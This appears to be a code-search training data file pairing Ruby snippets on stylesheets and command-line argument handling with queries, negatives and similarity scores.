"def convert_css(stylesheets)\n FileUtils.mkdir_p(File.join(stylesheets))\n Dir.foreach @base_theme_directory do |file|\n next unless /^#{@prefix}\\..*\\.css$/ =~ file\n next if [\"{#{@prefix}.all.css\", \"#{@prefix}.base.css\"].include? file\n css = File.read(File.join(@base_theme_directory, file))\n\n if \"{#{@prefix}.autocomplete.css\".include? file\n # Removing autocomplete image to add it later by script\n if css[112..135] == \".ui-autocomplete-loading\"\n css[220, 0] = \"*/\"\n css[112, 0] = \"/*\"\n end\n end\n\n open File.join(stylesheets, '_' + file.gsub(/\\.css$/, '.scss').gsub(/^#{@prefix}\\./, '')), 'w' do |f|\n if file == @theme_filename\n f.print(self.class.theme_css2sass(@base_theme))\n else\n f.print(self.class.css2sass(css))\n end\n f.close\n end\n end\n end",
"def controller_stylesheet_tags\n\n lo_files = []\n \n required_cc_files.each do |f|\n fn = [f,\"css\"].join(\".\")\n unless Rails.application.assets.find_asset(fn).nil?\n lo_files << stylesheet_link_tag(fn)\n end\n end\n\n lo_files.join.html_safe\n\n end",
"def build_css\n Dir[\"#{@src_dir}/stylesheets/**/*.{sass,scss}\"].each do |path|\n file_dir, template = source_template_from_path(path.sub(/^#{@src_dir}\\/stylesheets/, ''))\n\n if !template.match(/(^|\\/)\\_/)\n save_stylesheet(File.join(file_dir, template), generate_css(template, file_dir))\n end\n end\n end",
"def stylesheet_link_tag(*sources)\n html = []\n sources.each do |stylesheet|\n if is_uri?(stylesheet)\n path = stylesheet\n else\n path = url(\"/css/#{stylesheet}.css\")\n end\n html << \"<link href=\\\"#{path}\\\" type=\\\"text/css\\\" rel=\\\"stylesheet\\\" />\"\n end\n return html.join(\"\\n\")\n end",
"def link_css(srcs,options={})\n srcs_length = srcs.split(\",\").length\n options[:media] ||= \"screen\"\n options[:type] ||= \"text/css\"\n options[:rel] ||= \"stylesheet\"\n content = \"\"\n if srcs_length == 1\n options[:href] = \"/css/#{srcs}.css\"\n content = single_tag(:link, options)\n else\n srcs.split(\",\").each do |src|\n options[:href] = \"/css/#{src.strip}.css\"\n content << single_tag(:link, options)\n content << \"\\n\"\n end\n end\n content\n end",
"def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n if options[\"debug\"] != false && request_debug_assets?\n sources.map { |source|\n check_errors_for(source, :type => :stylesheet)\n if asset = lookup_asset_for_path(source, :type => :stylesheet)\n asset.to_a.map do |a|\n super(path_to_stylesheet(a.logical_path, :debug => true), options)\n end\n else\n super(source, options)\n end\n }.flatten.uniq.join(\"\\n\").html_safe\n else\n sources.push(options)\n super(*sources)\n end\n end",
"def stylesheet=(new_stylesheet)\n @stylesheet = new_stylesheet\n restyle!\n subviews.each{ |subview| subview.stylesheet = new_stylesheet }\n end",
"def set_assets\n\n @custom_csses = []\n @custom_javascripts = []\n\n\n action_hash = {\"create\" => \"new\", \"update\" => \"edit\"}\n file_name = action_hash[action_name] ? action_hash[action_name] : action_name\n root = Rails.root.to_s\n\n @custom_csses << \"compiled/application.css\" # always include the layout css\n @custom_csses << \"compiled/#{controller_name}/#{file_name}.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/#{file_name}.css\")\n @custom_csses << \"compiled/#{controller_name}/all.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/all.css\")\n\n\n @custom_javascripts << \"#{controller_name}/#{file_name}.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/#{file_name}.js\") # && !(\"#{file_name}.js\" == \"consumer_index.js\")\n @custom_javascripts << \"#{controller_name}/all.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/all.js\")\n\n # a trick to include facebox in the (devise-owned) registrations controller\n include_facebox if controller_name == 'registrations' && action_name == 'edit'\n\n end",
"def add_reader_css(path)\n @css ||= []\n @css << path\n end",
"def compile(css, include_paths, settings)\n\tcss\nend",
"def css(page_css) \n page_css.split(' ').each do |item|\n content_for(:css) do\n \"<link href=\\\"/stylesheets/#{page_css}.css\\\" rel='stylesheet' type='text/css'/>\\n\" \n end \n end\n end",
"def paths\n @paths ||= [\"#{Rails.root}/public/stylesheets\"]\n end",
"def add_default_styles(*file_paths)\n @default_target.add_default_styles(*file_paths)\n end",
"def stylesheet_link_tag(*styles)\n if (@cached_stylesheets )\n\n @cached_stylesheets = @cached_stylesheets.concat(styles)\n \"<!-- #{super(*styles)} -->\"\n else\n super(*styles)\n end\n end",
"def styles(styles)\n @styles.set(styles)\n yield(self) if block_given?\n self\n end",
"def g_stylesheet_link_tag( *sources )\n options = sources.extract_options! || {}\n options[:position] ||= :post\n sources.each { |src| Guilded::Guilder.instance.add_css_source( src, options[:position] ) }\n ''\n end",
"def set_path_to_cartocss_project_folder(path)\n @style_path = path\n end",
"def widget_stylesheets\n Dir[Sonia.root + \"/widgets/*/*.css\"].map do |file|\n widget_name = File.basename(file, \".css\")\n file.gsub(File.join(Sonia.root, \"widgets\"), \"/stylesheets\")\n end\n end",
"def stylesheet_path(path, options={})\n asset_path(path, :type => :stylesheet)\n end",
"def add_default_style(*file_paths)\n @default_target.add_default_style(*file_paths)\n end",
"def generate_css\n needs = affected_files.map { |m| File.extname(m)[1..-1].to_sym }\n \n original_ext = File.extname(@original_file)[1..-1]\n needs << original_ext.to_sym unless needs.include? original_ext\n\n WebifyRuby::Css.link_to = @link_to\n \n if should_write_css?\n WebifyRuby::Css.relative_from = @link_to ? nil : @css\n end\n \n css = WebifyRuby::Css.new(File.basename(@file, \".*\"), @file, *needs)\n @styles = css.result\n\n @css_file = css.write @css if should_write_css?\n end",
"def ensure_style_file_locations\n styles_dir = Softcover::Directories::STYLES\n mkdir styles_dir\n files = Dir.glob('*.sty')\n FileUtils.mv(files, styles_dir)\n end",
"def style_files\n styles.map do |name|\n next name if name.include?('/')\n style_path\n .reject { |p| p.strip.empty? }\n .map { |p| File.join(p, \"#{name}.css\") }\n .detect { |file| File.exist?(file) }\n end\n end",
"def css(href)\n link :rel => 'stylesheet', :type => 'text/css', :href => href\n end",
"def css(href)\n link :rel => 'stylesheet', :type => 'text/css', :href => href\n end",
"def link_css(path, media = \"screen\")\n path = \"/#{path}\" unless path =~ %r{^/}\n path = \"#{path}.css\" unless path =~ %r{\\.css$}\n %{<link href=\"#{timestamp_asset(path)}\" media=\"#{media}\" rel=\"Stylesheet\" type=\"text/css\" />}\n end",
"def stylesheets\n @parts.values.map(&:stylesheet).compact\n end",
"def css_bundle_filepath(files)\n bundle_filepath(WebResourceBundler::ResourceFileType::CSS, files)\n end",
"def copyStyleSheet()\r\n scriptFileName = Pathname.new($0)\r\n scriptDirectory = scriptFileName.dirname\r\n cssInputFileName = scriptDirectory.join(@@cssBaseName)\r\n cssOutputFileName = @outputDir.join(@@cssBaseName)\r\n @options[:log].begin(\"Copying style sheet \\\"#{cssInputFileName.to_s}\\\"\")\r\n cssInputFile = File.open(cssInputFileName, \"r:UTF-8\")\r\n css = cssInputFile.read()\r\n cssInputFile.close()\r\n\r\n [:imageWidth, :imageHeight, :backgroundImage].each { |key|\r\n stringToReplace = \"\\#\\{\" << key.to_s << \"\\}\"\r\n if key == :backgroundImage\r\n if @options[:backgroundImage]\r\n url = Pathname.new(@options[:backgroundImage]).basename\r\n value = \"background-image: url(\\\"#{url}\\\");\"\r\n else\r\n value = \"\"\r\n end\r\n else\r\n value = @options[key].to_s\r\n end\r\n css.gsub!(stringToReplace, value)\r\n }\r\n\r\n cssOutputFile = File.open(cssOutputFileName, \"w:UTF-8\")\r\n cssOutputFile.write(css)\r\n cssOutputFile.close()\r\n @options[:log].end()\r\n end",
"def stylesheet=(new_stylesheet)\n should_restyle = Teacup.should_restyle_and_block\n\n @stylesheet = new_stylesheet\n\n if should_restyle\n Teacup.should_restyle!\n restyle!\n end\n end",
"def css_files\n files = [\"#{url_location}/codemirror.css\", \"#{url_location}/application.css\"]\n\n if Raddocs.configuration.include_bootstrap\n files << \"#{url_location}/bootstrap.min.css\"\n end\n\n Dir.glob(File.join(docs_dir, \"styles\", \"*.css\")).each do |css_file|\n basename = Pathname.new(css_file).basename\n files << \"#{url_location}/custom-css/#{basename}\"\n end\n\n files.concat Array(Raddocs.configuration.external_css)\n\n files\n end",
"def add_stylesheet(name)\n content_for(:head) do\n stylesheet_link_tag name\n end\n end",
"def stylesheet_link_tag(*sources)\n options = sources.extract_options!.symbolize_keys\n sources.collect { |sheet| stylesheet_tag(sheet, options) }.join(\"\\n\")\n end",
"def path_to_stylesheet(source, options = T.unsafe(nil)); end",
"def write_style_sheet\n debug_msg \"Copying static files\"\n options = { :verbose => $DEBUG_RDOC, :noop => @dry_run }\n\n BUILTIN_STYLE_ITEMS.each do |item|\n install_rdoc_static_file @template_dir + item, \"./#{item}\", options\n end\n\n unless @options.template_stylesheets.empty?\n FileUtils.cp @options.template_stylesheets, '.', **options\n end\n\n Dir[(@template_dir + \"{js,images}/**/*\").to_s].each do |path|\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n\n dst = Pathname.new(path).relative_path_from @template_dir\n\n install_rdoc_static_file @template_dir + path, dst, options\n end\n end",
"def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend",
"def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend",
"def mobylette_stylesheet_link_tag(*sources)\n options = sources.extract_options!\n if is_mobile_request?\n stylesheet_link_tag(*sulfix_mobile_assets(sources, :css).insert(-1, options))\n else\n stylesheet_link_tag(*sources.insert(-1, options))\n end\n end",
"def stylesheet_link_tag_with_engine_additions(*sources)\r\n stylesheet_link_tag_without_engine_additions(*Engines::RailsExtensions::AssetHelpers.pluginify_sources(\"stylesheets\", *sources))\r\n end",
"def create_css_bundle(styles)\n filename = css_bundle_filepath(styles)\n content = @packager.bundle_files(styles)\n WebResourceBundler::ResourceFile.new_css_file(filename, content)\n end",
"def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n debug = options.key?(:debug) ? options.delete(:debug) : debug_assets?\n\n sources.map do |source|\n if debug && !(digest_available?(source, 'css')) && (asset = asset_for(source, 'css'))\n asset.to_a.map { |dep| stylesheet_tag(dep.logical_path, { :body => true }.merge(options)) }\n else\n sources.map { |source| stylesheet_tag(source, options) }\n end\n end.uniq.join(\"\\n\").html_safe\n end",
"def stylesheet(path)\n asset_html(path, STYLESHEET_CDN, STYLESHEET_LOCAL)\n end",
"def rcss\n # :rcssfile is defined in routes.rb\n if @stylefile = params[:rcssfile]\n #prep stylefile with relative path and correct extension\n @stylefile.gsub!(/.css$/, '')\n @stylefile = \"/stylesheets/\" + @stylefile + \".css.erb\"\n render(:file => @stylefile, :use_full_path => true, :content_type => \"text/css\")\n else #no method/action specified\n render(:nothing => true, :status => 404)\n end #if @stylefile..\n end",
"def paths\n @paths ||= [STYLESHEETS_PATH]\n end",
"def stylesheet(file)\n content_for(:stylesheet) { stylesheet_link_tag(file, media: 'all') }\n end",
"def set_styles\n self.has_styles = true\n self.twitter_style = true\n end",
"def stylesheet; end",
"def set(*selectors, style)\n selectors.each do |s|\n s = s+'._' unless s.include?('.')\n s = '_ '+s unless s.include?(' ')\n s = s.split(/\\ |\\./)\n sl = proc do |obj|\n c1 = s[0] == \"_\" || obj.parents.any?{|pa| pa.class.to_s == s[0]}\n c2 = s[1] == \"\" || obj.class.to_s == s[1]\n c3 = s[2] == \"_\" || obj.respond_to?(:name) && obj.name.to_s == s[2]\n c1 && c2 && c3\n end\n CSS[sl] = style\n end\n end",
"def edit_stylesheet(contents, reason = nil)\n params = {op: \"save\", stylesheet_contents: contents}\n params[:reason] = reason if reason\n post(\"/r/#{display_name}/api/subreddit_stylesheet\", params)\n end",
"def css(href, options = {})\n link({:rel => 'stylesheet', :type => 'text/css', :href => href}.merge(options))\n end",
"def path_to_stylesheet(*args)\n path = super\n if @generate_urls_with_host \n path = request.protocol() + request.host_with_port() + path\n end\n return path\n end",
"def sass *sass_names\n install_deps 'haml', :type => Gem\n\n sass_names.flatten.each do |name|\n sass_file = \"public/stylesheets/sass/#{name}.sass\"\n css_file = \"public/stylesheets/#{name}.css\"\n sass_cmd = \"cd #{self.checkout_path} && sass #{sass_file} #{css_file}\"\n\n @shell.call sass_cmd\n end\n end",
"def run(filename, css); end",
"def active_scaffold_ie_stylesheets(frontend = :default)\r\n ActiveScaffold::Config::Core.asset_path(\"stylesheet-ie.css\", frontend)\r\n end",
"def run(options = {})\n paths.map {|path| Dir[\"#{path}/*.less\"]}.flatten.each {|less_source|\n destination_filename = \"#{File.basename(less_source, File.extname(less_source))}.css\"\n destination = \"#{STYLESHEETS_PATH}/#{destination_filename}\"\n \n if !File.exists?(destination) || File.stat(less_source).mtime > File.stat(destination).mtime\n engine = Less::Engine.new(File.read(less_source))\n css = Less.version > \"1.0\" ? engine.to_css : engine.to_css(:desc)\n css.delete!(\"\\n\") if options[:compress]\n \n File.open(destination, \"w\") {|file|\n file.write HEADER % [destination_filename] if Rails.env == \"development\"\n file.write css\n }\n end\n }\n end",
"def theme_stylesheet_link_tag(theme_name, *sources)\n options = sources.extract_options!.stringify_keys\n cache = options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n sources = ThemeStylesheetSources.create(self, @controller, sources, recursive) do |cache_key, sources|\n cache_key << theme_name\n sources.theme_name = theme_name\n end\n \n if ActionController::Base.perform_caching && cache\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n segments = [ASSETS_DIR, 'themes', theme_name, 'stylesheets', joined_stylesheet_name]\n #segments.insert 1, 'cache'\n joined_stylesheet_path = File.join(*segments)\n \n sources.write_joined_asset_files_contents(joined_stylesheet_path) unless File.exists?(joined_stylesheet_path)\n theme_stylesheet_tag(theme_name, joined_stylesheet_name, options)\n else\n sources.write_asset_files_contents\n sources.expand_sources.collect { |source| theme_stylesheet_tag(theme_name, source, options) }.join(\"\\n\")\n end\n end",
"def read_css(path)\n add_asset(path)\n rescue AssetNotFound => ex\n super(path)\n end",
"def all_stylesheet_paths\n all_paths = []\n all_paths += @stylesheets\n all_paths += @content_scripts.map { |cs| cs.stylesheets }.compact\n all_paths.flatten.uniq\n end",
"def add_assets(paths)\n copy_assets(paths)\n characterize_assets\n create_or_update_assets\n end",
"def run(options = {})\n paths.each do |path|\n Dir.chdir(path) do\n Dir[\"**/*.less\"].each do |less_sheet|\n directory = File.dirname(less_sheet)\n target_filename = File.basename(less_sheet, File.extname(less_sheet)) + \".css\"\n destination = \"#{directory}/#{target_filename}\"\n \n if !File.exists?(destination) || File.stat(less_sheet).mtime > File.stat(destination).mtime\n engine = File.open(less_sheet) {|f| Less::Engine.new(f) }\n css = engine.to_css\n css.delete(\"\\n\") if options[:compress]\n \n FileUtils.mkdir_p(directory)\n File.open(destination, \"w\") {|file|\n file.write HEADER % [path + \"/\" + less_sheet] if Rails.env == \"development\"\n file.write css\n }\n end\n end\n end # chdir\n end # each\n end",
"def inline_stylesheet source\n \"<style type='text/css'>\" +\n File.read(\"#{RAILS_ROOT}/public/stylesheets/#{source}\") +\n \"</style>\"\n end",
"def style(*queries)\n if queries[-1].is_a? Hash\n properties = queries.pop\n else\n # empty style declarations are allowed, but accomplish nothing.\n return\n end\n\n queries.each do |stylename|\n\n # reset the stylesheet_cache for this stylename\n @stylesheet_cache.delete(stylename) if @stylesheet_cache\n\n # merge into styles[stylename] (an instance of Teacup::Style). new\n # properties \"win\" over existing properties.\n Teacup::merge_defaults(properties, styles[stylename], styles[stylename])\n end\n end"
] |
[
"0.7097912",
"0.7097912",
"0.6915847",
"0.6801117",
"0.65325564",
"0.65212584",
"0.64755595",
"0.6452501",
"0.642611",
"0.63568366",
"0.63074183",
"0.63074183",
"0.63060784",
"0.63060784",
"0.6304188",
"0.62971437",
"0.6291915",
"0.62882733",
"0.62756085",
"0.6157588",
"0.6148094",
"0.6145005",
"0.6141152",
"0.6123642",
"0.6111017",
"0.60731405",
"0.6055",
"0.6047496",
"0.60383356",
"0.60301864",
"0.60112184",
"0.60084367",
"0.59904504",
"0.5922522",
"0.5887202",
"0.5873869",
"0.5862894",
"0.5827642",
"0.58096516",
"0.58091736",
"0.57860136",
"0.57840043",
"0.5751491",
"0.57312226",
"0.5726083",
"0.57245135",
"0.57125556",
"0.5669231",
"0.56582594",
"0.5655576",
"0.56292766",
"0.56270033",
"0.5623859",
"0.56196386",
"0.55949724",
"0.55947864",
"0.55773425",
"0.55679107",
"0.55611175",
"0.5537105",
"0.55347824",
"0.55347824",
"0.5529522",
"0.5529233",
"0.55242723",
"0.5517961",
"0.55099094",
"0.5495972",
"0.5489262",
"0.5487057",
"0.54724467",
"0.5462886",
"0.54599386",
"0.54599386",
"0.5441442",
"0.5440127",
"0.5437898",
"0.54351526",
"0.5429674",
"0.5422845",
"0.5391226",
"0.5390033",
"0.5385249",
"0.53714436",
"0.53580374",
"0.5356145",
"0.53500366",
"0.5340103",
"0.53377014",
"0.5331571",
"0.5319457",
"0.5316862",
"0.5316598",
"0.53092307",
"0.52852327",
"0.52743685",
"0.52658015",
"0.5258063",
"0.52513367"
] |
0.5832258
|
38
|
Sets arbitrary command line arguments
|
def add_cmd_args(str)
@cmd_args << " #{str} "
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_arguments (args)\n end",
"def argv=(args)\n puts \"setting argv to #{args.inspect}\"\n eval \"opal.runtime.cs(opal.runtime.Object, 'ARGV', #{args.inspect});\"\n end",
"def set(*args)\n run \"set #{OptArg.parse(*args)}\"\n nil\n end",
"def set_arguments(*args)\n @arguments = Arguments.new\n add_arguments(*args)\n end",
"def set_arg(name, value)\n arg = @args.add_element(REXML::Element.new(\"argument\"))\n add_key_to_element(arg, \"name\", name)\n add_key_to_element(arg, \"value\", value)\n end",
"def set_opts(args)\n @jar_args = \" #{args}\"\n end",
"def set(*args)\n case args.size\n when 1\n configure(args[0])\n when 2\n configure(args[0] => args[1])\n else\n raise ArgumentError\n end\n end",
"def args=(args) #:nodoc:\n @@args = args.dup.map { |a| a + '' }\n parse if parsed?\n end",
"def set_args(*args)\n num_args.times { |i|\n OpenCL.set_kernel_arg(self, i, *[args[i]].flatten )\n }\n end",
"def argv=(argv)\n @@argv = argv\n end",
"def set(*args)\n # not supported\n end",
"def set(*args)\n # not supported\n end",
"def set_from_args(options)\n assign(options)\n rescue ConfigError => e\n alert_logger.warn format(\n 'Failed to configure from arguments: %s',\n e.message\n )\n end",
"def arguments=(value)\n @arguments = value.to_s.strip # TODO: Parse\n end",
"def java_args=(args)\n Buildr.application.deprecated \"Use ENV['JAVA_OPTS'] instead\"\n ENV['JAVA_OPTS'] = Array(args).join(' ')\n end",
"def set(i) \n env = ENV[i.upcase] \n if env.nil? \n aborts(\"\\nCommand line arguments missing!,Clue : #{i}\\n\\n\") \n else \n instance_variable_set(\"@\" + i, env) \n end \n end",
"def set_args\n get_keywords.join(\"\\\\|\")\n end",
"def args(argv)\n Docopt.docopt(docopt, version: @version, argv:argv)\n end",
"def set_args(argvals, arglist)\n @arglist = arglist\n @argvals = argvals\n i = 0\n if argvals == \"\"\n @argvals = Array.new\n arglist.each do |arg|\n @argvals << nil\n end\n end\n arglist.each do |arg|\n\n if @argvals[i].nil?\n @argvals[i] = \"\"\n end\n #Tricky magic part where we are defining var names on the fly. Escaped quotes turn everything to strings.\n #Handle this later by allowing numbers to be numbers but keeping strings.\n\n instance_eval \"def #{arg}; return argvals[#{i}]; end\"\n i += 1\n end\n end",
"def initialize(argv = [])\n @arguments ||= argv\n end",
"def args=(args)\n\n # Save the args reference\n @args = args\n\n # And echo that to the polygons\n @polygons.each { |polygon| polygon.args = args }\n\n end",
"def set!(*args)\n end",
"def set(*args, **kwargs)\n queue SetCommand, args, kwargs\n end",
"def lnbSetValue _args\n \"lnbSetValue _args;\" \n end",
"def overwriting_argv(value, &block)\n original_argv = ARGV\n Object.const_set :ARGV, value\n block.call\n ensure\n Object.const_set :ARGV, original_argv\n end",
"def overwriting_argv(value, &block)\n original_argv = ARGV\n Object.const_set :ARGV, value\n block.call\n ensure\n Object.const_set :ARGV, original_argv\n end",
"def set_args\n <<-CODE\n t1 = stack_pop();\n c->args = N2I(t1);\n CODE\n end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def arguments=(val)\n raise(ArgumentError, \"Arguments must recieve a hash\") unless val.kind_of?(Hash)\n @arguments = val\n end",
"def set(i)\n \n env = ENV[i.upcase]\n \n if env.nil?\n \n aborts(\"\\nCommand line arguments missing!,Clue : #{i}\\n\\n\")\n \n else\n \n instance_variable_set(\"@\" + i, env)\n \n end\n \n end",
"def set_string_args\n if @option_string\n log \"setting string options #{@option_string} ...\"\n\n if @op.set_from_string(@option_string) != 0\n raise Error\n end\n end\n end",
"def mset(*args)\n send_command([:mset] + args)\n end",
"def arguments=(value)\n @arguments = value\n end",
"def initialize_cmd_args(args, new_name_args)\n args = args.dup\n args.shift(2 + @name_args.length) \n cmd_args = new_name_args + args\n end",
"def arguments=(args)\n @link.Arguments = args\n end",
"def change_arg(arg, val)\n if arg == \"onset\"\n @onset = val\n elsif arg == \"offset\"\n @offset = val\n elsif arg == \"ordinal\"\n @ordinal = val\n else\n for i in 0..arglist.length-1\n if arglist[i] == arg and not arg.nil?\n argvals[i] = val.to_s\n end\n end\n end\n end",
"def cli_args!(args)\n ChefBackup::Config.config = args\nend",
"def mset(*args); end",
"def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end",
"def process_argv!\n args = ARGV.dup\n self.rest = []\n until args.empty? do\n arg = args.shift\n case\n when arg == '--'\n self.rest += args\n break\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n param.gsub!(/\\-/, '.') # translate --scoped-flag to --scoped.flag\n param = param.to_sym unless (param =~ /\\./) # symbolize non-scoped keys\n if val == nil then val = true # --flag option on its own means 'set that option'\n elsif val == '' then val = nil end # --flag='' the explicit empty string means nil\n self[param] = val\n when arg =~ /\\A-(\\w+)\\z/\n $1.each_char do |flag|\n param = param_with_flag(flag)\n self[param] = true if param\n end\n else\n self.rest << arg\n end\n end\n end",
"def setObjectArguments _obj, _args\n \"_obj setObjectArguments _args;\" \n end",
"def options args = ARGV, *a, &b\n @p = Parser.new(*a, &b)\n begin\n vals = @p.parse args\n args.clear\n @p.leftovers.each { |l| args << l }\n vals\n rescue CommandlineError => e\n $stderr.puts \"Error: #{e.message}.\"\n $stderr.puts \"Try --help for help.\"\n exit(-1)\n rescue HelpNeeded\n @p.educate\n exit\n rescue VersionNeeded\n puts @p.version\n exit\n end\n end",
"def initialize(given_args=ARGV)\n @options, @arguments, @extras = self.class.parse_options!(given_args)\n end",
"def initialize(*arguments)\n options = arguments.extract_options!\n self.class.aggregated_properties.each do |arg|\n instance_variable_set(\"@#{arg}\", arguments.shift)\n end\n options.each do |arg, argv|\n instance_variable_set(\"@#{arg}\", argv)\n end\n end",
"def parse_arguments\n OptionParser.new do |parser|\n # parser.banner = \"Usage: init.rb -c <integer>\"\n parser.on(\"-c\", \"--count COUNT\", Integer, \"Specify number of uuid's to generate\") do |c|\n @options[:count] = c\n end\n parser.on(\"-f\", \"--file FILE\", \"Specify path to save csv file example -f '/path/to/file.csv'\") do |path|\n @options[:path] = path\n end\n end.parse!\n end",
"def update!(**args)\n @environment = args[:environment] if args.key?(:environment)\n @max_run_duration = args[:max_run_duration] if args.key?(:max_run_duration)\n @runnables = args[:runnables] if args.key?(:runnables)\n end",
"def parse_arguments\n @command_line_options = {}\n @config.insert 0, '<command_line>', @command_line_options\n\n @options = OptionParser.new do |opts|\n opts.on('-a', '--application STRING', 'set application name') do |application|\n @command_line_options[:application] = application\n end\n\n opts.on('-d', '--destination DIR', 'set destination directory', \"default: #{@config[:destination_directory]}\") do |directory|\n @command_line_options[:destination_directory] = directory\n end\n\n opts.on('-n', '--dryrun', 'do not switch') do\n @command_line_options[:dryrun] = true\n end\n\n opts.on('-V', '--version STRING', 'set application version to deploy') do |version|\n @command_line_options[:version] = version\n end\n end\n @options.parse!\n end",
"def argument(name, args)\n @arguments ||= Launchr::OrderedHash.new\n @options_arguments ||= Launchr::OrderedHash.new\n raise(ArgumentError, \"Argument name must be a symbol\") unless name.kind_of?(Symbol)\n\n strip_arg(args,:short)\n strip_arg(args,:long)\n convert_argument_to_option(args)\n\n @arguments[name.to_sym] = args.dup\n @options_arguments[name.to_sym] = args\n end",
"def command_line_arguments(array)\n array.size.times do\n if array.include?('-nc')\n colour_changer(:white)\n array.delete('-nc')\n elsif array.any? { |x| ['-d1', '-d2', '-d3', '-d4'].include? x }\n key = (array[0])[1, 2].to_sym\n @difficulty = DIFFICULTY[key]\n @promptarr = prompt_select(key)\n @intro = false\n end\n end\n end",
"def set_vars args\n args.each do |arg,val|\n instance_variable_set \"@#{arg}\", val\n end\n\n args\n end",
"def set_vars args\n args.each do |arg,val|\n instance_variable_set \"@#{arg}\", val\n end\n\n args\n end",
"def normalize_args(string, options_hash); end",
"def command_setup(args)\n setup(args)\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # url of the city database\n city_db_url = OpenStudio::Measure::OSArgument.makeStringArgument('city_db_url', true)\n city_db_url.setDisplayName('City Database Url')\n city_db_url.setDescription('Url of the City Database')\n city_db_url.setDefaultValue('')\n args << city_db_url\n\n # project id to update\n project_id = OpenStudio::Measure::OSArgument.makeStringArgument('project_id', true)\n project_id.setDisplayName('Project ID')\n project_id.setDescription('Project ID to generate reports for.')\n project_id.setDefaultValue('0')\n args << project_id\n\n # datapoint id to update\n datapoint_id = OpenStudio::Measure::OSArgument.makeStringArgument('datapoint_id', true)\n datapoint_id.setDisplayName('Datapoint ID')\n datapoint_id.setDescription('Datapoint ID to generate reports for.')\n datapoint_id.setDefaultValue('0')\n args << datapoint_id\n\n return args\n end",
"def set _obj, _args\n \"_obj set _args;\" \n end",
"def configure_with_args(args)\n args.select { |k,v| DEFAULT_CONFIGURATION_OPTIONS.keys.include?(k) }.each do |key,val|\n instance_variable_set \"@#{key.to_s}\", val\n end\n end",
"def configure_with_args(args)\n args.select { |k,v| DEFAULT_CONFIGURATION_OPTIONS.keys.include?(k) }.each do |key,val|\n instance_variable_set \"@#{key.to_s}\", val\n end\n end",
"def parse_arguments\n @arguments = ARGV.collect { |arg| arg.strip }\n @filename = Pathname.new(@arguments.first)\n end",
"def configure!(args)\n self.class.options.each do |name, opts|\n argv = args.detect{|k,v| (Array(opts[:aliases]) + Array(opts[:short]) + [name]).include?(k.to_sym)}\n argv = argv.last if argv\n argv ||= opts[:default]\n if(argv)\n check_type!(name, argv, opts[:type])\n self.send(\"#{name}=\", argv)\n else\n if(opts[:required])\n raise ArgumentError.new \"Missing required argument: #{name}\"\n end\n end\n end\n if(ipaddress && gateway.nil?)\n self.gateway = ipaddress.sub(%r{\\d+$}, '1')\n end\n end",
"def initialize(*args)\n return self if args.empty?\n parsed_args = args.first.is_a?(Hash) ? args.first : parse_string_args(args)\n\n self.executable = parsed_args[:executable]\n self.arguments = parsed_args[:arguments]\n end",
"def set!(args)\n collection_modifier_update('$set', args)\n end",
"def cmd(options={})\n arguments\n end",
"def parse!( args )\n @args = args\n @options.grep!(args)\n end",
"def set(args, auto_compute=true)\n initialize_text(args[:value]) if args && args[:value]\n super(args, auto_compute)\n end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def tvSetValue _args\n \"tvSetValue _args;\" \n end",
"def set=(_arg0); end",
"def initialize(keyword); super(keyword); @argSet = Set.new end",
"def options_arguments=(val)\n raise(ArgumentError, \"Options must recieve a hash\") unless val.kind_of?(Hash)\n @options_arguments = val\n end",
"def set_options(opts)\n opts.version, opts.banner = options.version, options.banner\n opts.set_program_name 'LinkShrink'\n\n options.api.map do |k, v|\n arg = k.to_s.downcase\n\n opts.on_head(\"-#{arg[0]}\", \"--#{arg}\", argument_text_for(k)) do\n options.api[k] = true\n end\n end\n\n opts.on_tail('-v', '--version',\n 'display the version of LinkShrink and exit') do\n puts opts.ver\n exit\n end\n\n opts.on_tail('-h', '--help', 'print this help') do\n puts opts.help\n exit\n end\n end",
